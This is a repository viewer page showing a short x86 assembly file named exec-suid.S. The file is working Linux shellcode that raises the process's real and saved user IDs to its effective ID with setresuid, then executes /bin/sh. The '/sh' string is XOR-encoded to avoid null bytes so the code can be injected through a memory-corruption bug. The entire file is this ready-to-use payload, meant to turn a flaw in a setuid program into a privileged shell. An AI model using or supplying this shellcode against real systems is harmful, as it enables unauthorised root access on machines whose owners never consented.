summaryrefslogtreecommitdiff
path: root/shellcode/exec-suid.S
blob: 94ec68a19fbf67092335ff887ac64e16251a4c27 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.global _start
_start:
	xorl %eax, %eax
	addb $201, %al # geteuid
	int $0x80
	movl %eax, %ebx
	movl %eax, %ecx
	movl %eax, %edx
	xorl %eax, %eax
	addb $208, %al # setresuid
	int $0x80
	xorl %eax, %eax
	addb $11, %al
	movl $0x3058431f, %ebx
	xorl $0x30303030, %ebx # "/sh\0"
	pushl %ebx
	pushl $0x6e69622f # "/bin"
	movl %esp, %ebx
	xorl %ecx, %ecx
	xorl %edx, %edx
	int $0x80